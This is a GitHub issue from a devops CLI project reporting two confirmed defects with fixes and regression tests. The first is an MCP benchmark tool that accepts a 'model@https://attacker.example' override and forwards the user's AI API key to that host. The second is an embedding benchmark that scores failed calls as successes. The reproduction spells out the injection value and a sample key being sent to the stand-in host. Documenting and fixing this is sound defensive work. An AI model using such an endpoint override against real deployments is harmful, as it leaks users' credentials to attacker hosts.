Skip to content

fix(ai): the embedding benchmark takes any endpoint from an MCP client and counts failed embeddings as results #954

Closed

Description

@dan-petty

Problem

The devsecops review session 20261001-224227 (2026-10-02, a path review of the whole repository with local models) raised 563 findings. A triage of every finding against release/v0.2.25 (c279c18) judged 489 false. Each of the 2 defects below was confirmed with code evidence and then upheld by a second agent that tried to refute it. The severities are re-rated; the review's own ratings were inflated.

Potential SSRF in LLMClient Configuration (src/devops_cli/ai/benchmark/embedding_runner.py:142, MEDIUM, security)

  • Defect: At its cited location (BenchmarkRunner._client_for_model, runner.py:164) the code is CLI-only and its endpoint is trusted. The identical model@endpoint override in the sibling runners, however, is reachable from untrusted MCP calls, and it attaches the user's AI API key to an attacker-chosen host. MCP benchmark_embeddings(provider, model, samples) (mcp/server.py:2031) only rejects a leading hyphen and runs devops ai benchmark --type embedding --provider <p> --models <model>. run() splits x@https://attacker.example into a model and a server (embedding_runner.py:418-420). _engine_for_model then sets resolved_provider = self.provider (MCP-chosen, e.g. openai), calls validate_url(endpoint, allow_private=config) (a public host passes), sets api_base_url = clean_endpoint, and builds EmbeddingsEngine(cfg, api_key=get_ai_api_key(self.settings)). If no key is passed, the …
  • Skeptic's ruling: Reproduced offline. DNS and HTTP were stubbed and the key was set through DEVOPS_CLI_AI_API_KEY. EmbeddingBenchmarkRunner(models=['x@https://attacker.example'], provider='openai')._engine_for_model('x', 'https://attacker.example') built an engine with provider=openai, api_base_url=https://attacker.example and the configured key, and embed_texts POSTed to https://attacker.example/v1/embeddings with Authorization: Bearer sk-SECRET-TEST. MCP benchmark_embeddings(provider, model) only …
  • Fix: (1) In MCP benchmark_embeddings and benchmark_suite, reject model strings containing '@' or '://' so the endpoint override stays CLI-only, and allow-list provider against the known provider ids. (2) Add a shared helper, _key_for_endpoint(settings, endpoint), used by embedding_runner._engine_for_model, suite._client_for_model and runner._client_for_model. It returns the configured key only when the endpoint equals the configured api_base_url, gateway_url or the provider's default host, and otherwise returns an explicit empty string. EmbeddingsEngine must treat '' as 'no key' and not fall back to OPENAI_API_KEY or the keyring, because today only None triggers that fallback.
  • Regression test: tests/test_mcp_benchmark_tools.py::test_benchmark_tools_reject_endpoint_override: calling benchmark_embeddings(provider='openai', model='x@https://example.invalid') and benchmark_suite(models='m@https://example.invalid', dry_run=False) must raise ValidationError without dispatching (assert the dispatcher mock was not called). Add tests/test_embedding_benchmark.py::test_override_endpoint_gets_no_key: with DEVOPS_CLI_AI_API_KEY set and _resolve_host_ips stubbed to a public IP, …

Potential Unhandled Exception in Query Embedding (src/devops_cli/ai/benchmark/embedding_runner.py:240, MEDIUM, correctness)

  • Defect: evaluate_model_on_server swallows every embedding failure: the query-latency loop at 245-251 (except Exception: logger.warning), the corpus embed at 262-268 and the query embeds at 279-284. It still returns a normal result and prints ✓ ... → N%. When every call fails, query_latencies is empty, so p50_lat = 0.0 (line 254) and perf_score = min(100, 0 + max(0, 100 - 0/10)) = 100 (line 371), giving overall = 35%. run() then names that model 'Lowest Latency' (min(results, key=latency_ms_p50), line 490) and 'Memory Efficiency' (min(..., dimension) with dimension 0, line 504). It is worse in the common case: EmbeddingsEngine.embed_texts usually does not raise when a node is unreachable. It returns hash-based vectors flagged is_fallback=True (embeddings.py:709 for Ollama, 806 for OpenAI), and the runner never checks that flag. An offline server is therefore scored with …
  • Skeptic's ruling: Reproduced offline. EmbeddingBenchmarkRunner.evaluate_model_on_server against http://127.0.0.1:9 (connection refused) printed ✓ nomic-embed-text ... dim=768 | R@1=25% | MRR=0.56 | p50=9.6ms | 66.9 items/s → 64.4% and returned a normal result with is_normalized=True. EmbeddingsEngine._embed_batch_with_subdivision and _embed_openai swallow connection errors and non-200s, including a model that was never pulled (Ollama 404), and return _deterministic_fallback hash vectors flagged …
  • Fix: Add failed: bool and error: str | None to EmbeddingBenchmarkResult, and make the latency fields Optional. In evaluate_model_on_server, treat both an exception and any fallback vector as failure: embed_texts rebuilds a plain list, so check any(getattr(v, 'is_fallback', False) for v in vecs) per vector, not the list. Compute latency only from successful calls (None when there are none), print ✗ with the reason, and exclude failed results from sorting, server summaries and recommendations. In suite.py, mark an errored case as errored/skipped and leave it out of the TP/FP/TN/FN tallies instead of parsing the error string as a verdict.
  • Regression test: tests/test_embedding_benchmark.py::test_unreachable_server_is_reported_failed: monkeypatch EmbeddingBenchmarkRunner._engine_for_model to return a fake engine whose embed_texts returns [EmbeddingVector([..], is_fallback=True) ...]. Assert result.failed is True and that run()'s recommendations do not name that model. Add a second case where embed_texts raises and assert latency_ms_p50 is None rather than 0.0. In tests/test_benchmark_suite.py, a client.chat that raises must produce an …

Acceptance criteria

  • Each defect above is fixed as its Fix line describes, or the PR says why another fix is better.
  • Each has its Regression test: offline, failing on the base revision and passing after the fix.
  • Removed code goes without shims (pre-1.0), and docs that described it are corrected.
  • uv run devops ci passes.

Key questions

  • One PR for all of these? Yes (proposed). They share a module area and none needs a design decision; each fix is small.

Activity

  1. added this to the v0.2.25 milestone on Oct 2, 2026
  2. added
    type/bug
    scope/ai
    priority/p2-medium
    on Oct 2, 2026
  3. dan-petty commented on Oct 3, 2026

    @dan-petty
    OwnerAuthor

    Closed by #1072, merged into release/v0.2.25.

    GitHub only acts on closing keywords when a pull request merges into the default branch, so this was closed by devops gh issues close-merged.

  4. added a commit that references this issue on Oct 3, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    priority/p2-mediumscope/aitype/bug

    Type

    No type

    Projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions